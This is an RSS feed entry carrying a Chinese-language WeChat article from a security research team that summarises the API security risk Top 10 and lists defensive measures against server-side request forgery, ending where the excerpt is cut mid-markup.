<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>VLab安全实验室</title>
    <link>https://wechat2rss.xlab.app/feed/3051a5bf0ae50996df7d16a2a9880c021a41d02a.xml</link>
    <description>VLab Team是墨云科技旗下的安全研究团队，专注于漏洞挖掘、红蓝对抗、APT攻防、前瞻性安全技术预研等方向。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (VLab安全实验室)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM4ic4aa4zACIX2vSqsZy1LxicUzxpN6d3eFXQwVQkknEiaJg/0</url>
      <title>VLab安全实验室</title>
      <link>https://wechat2rss.xlab.app/feed/3051a5bf0ae50996df7d16a2a9880c021a41d02a.xml</link>
    </image>
    <item>
      <title>B/S框架的从业者，应该注意的API安全风险Top10</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485256&amp;idx=1&amp;sn=181122826090e48bee1d4181de6643a4</link>
      <description>本文盘点API安全风险Top10，帮您掌握更多相关知识，从而更好地保护API安全。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LYS</span> <span>2023-11-24 17:03</span> <span style="display: inline-block;">北京</span>
</p>

<p>本文盘点API安全风险Top10，帮您掌握更多相关知识，从而更好地保护API安全。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2ae79afb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSeLRIaKaR9yeRqtxXG7rgx3zq6IwLpKyKE1MxJcGvafXQu3nV58JhLG9vSazX24FElxc9vvdjhqg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-imgfileid="100001598" data-ratio="0.8363228699551569" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 74px !important;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">VLab-实验室</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-imgfileid="100001597" data-ratio="0.1875" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 76px !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">API已成为构建和连接现代应用程序的事实标准。就目前而言，越来越多的应用程序转向基于微服务的架构更是助推了这一趋势。因此，确保公司开放Web应用程序免受API安全风险的侵扰至关重要。本文盘点API安全风险Top10，帮您掌握更多相关知识，从而更好地保护API安全。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">1.失效的对象级授权：当客户端的授权没有经过正确验证便可访问特定对象ID时，就会出现这种漏洞。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">2.失效的身份验证：身份验证过程中的大量漏洞均与此相关，这种安全风险导致系统暴露在攻击者面前，使攻击者能够利用这些漏洞来破坏API对象防护机制。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">3.失效的对象属性级授权：在这类安全漏洞中，API端公开的数据属性不必要地超过了其发挥功能所需的数量，违背了最小特权原则。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">4.不受限制的资源消耗：这类漏洞有时也称为API资源耗尽，API不会限制给定时间内的请求数量或者所传输的数量。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">5.失效的功能级授权：在API端点的访问控制模型实施不正确时，就有可能发生。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">6.不受限制的敏感业务流访问：在API公开关键操作（如业务逻辑）而又没有足够的访问控制措施时，就会出现这种风险。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">7.服务器端请求伪造（SSRF）：通过SSRF，攻击者可诱导服务器端应用程序向其选定任意域发出HTTPS请求。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">8.安全配置错误：这是指安全控制措施设置有误，从而造成系统容易受到攻击。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">9.不当的资产管理：这是每个管理API的公司都面临的一项挑战。API安全解决方案可以保护已知API,但未知API（包括弃用，遗留的或过时API）可能没有得到修补，容易遭受攻击。</span></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);">10.</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);">不安全的</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);">API</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);">使用：此风险涉及到在未来实施适当的安全措施情况下使用第三方</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);">API</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);">。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">失效的对象级授权与失效的对象属性级授权区别</span></h2><ol style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;visibility: visible;" start="1" type="1" class="list-paddingleft-1"><li style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;visibility: visible;"><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;visibility: visible;"><span md-inline="plain" style="outline: 0px;visibility: visible;">失效的对象级授权是指API的整个对象。</span><o:p></o:p></p></li><li style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;visibility: visible;"><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;visibility: visible;"><span md-inline="plain" style="outline: 0px;visibility: visible;">失效的对象属性级授权是指API对象中的一个属性值。</span><o:p></o:p></p></li></ol><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;visibility: visible;"><span md-inline="plain" style="outline: 0px;visibility: visible;">如：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001600" data-ratio="0.8904109589041096" data-s="300,640" style="width: 278px;height: 248px;" data-type="png" data-w="511" src="https://wechat2rss.xlab.app/img-proxy/?k=5c5dc40b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSeLRIaKaR9yeRqtxXG7rgxqZDAyRPbAdml6qBBNH33yM2VFRf4icTKSVOATqudZCwoh8MoQlrCYZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;color: rgba(0, 0, 0, 0.9);"></span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">服务器端请求伪造（SSRF）</span></h2><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">服务器端请求伪造（Server-Side Request Forgery，SSRF）是一种利用web应用程序或API中的漏洞，允许攻击者从服务器向其他内部或外部系统发出未经授权的请求的攻击类型。以下是保护API免受SSRF攻击的建议措施：</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">1. 输入验证和过滤：对于接收URL参数的API，进行输入验证和过滤操作，确保传入的URL参数是合法且可信的。可以使用白名单机制，只允许访问预定义的目标URL。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">2. 限制协议和端口：限制API发起请求的协议和端口范围，防止恶意用户通过构造特殊的URL请求访问不应该被访问的资源。可以仅允许访问HTTP和HTTPS协议，并限制常用的非敏感端口。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">3. 内部网络隔离：将API服务器与内部网络进行适当的隔离，以减少对内部系统和服务的直接访问。采用安全的网络架构和防火墙规则，限制API服务器的出站连接，避免发起对内部资源的非授权访问。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">4. 接口权限：在设计API时，为每个接口设置适当的权限和访问控制策略。确保敏感接口仅对有权用户或角色开放，并使用合适的身份认证和授权机制对用户进行验证。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">5. 安全配置：确保API服务器和相关组件的安全配置，包括操作系统、Web服务器、应用程序框架等。禁用或限制不必要的功能和协议（如本地文件访问、数据库连接等），以减少攻击面。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">6. 日志监控：监控API的请求日志，特别关注异常的URL请求和来源IP地址。及时发现异常行为并进行响应，例如封禁恶意IP或阻止恶意请求。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">7. 安全更新和补丁：定期更新和升级API服务器和相关软件，及时应用最新的安全补丁，修复已知漏洞和安全问题。</span><o:p></o:p></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 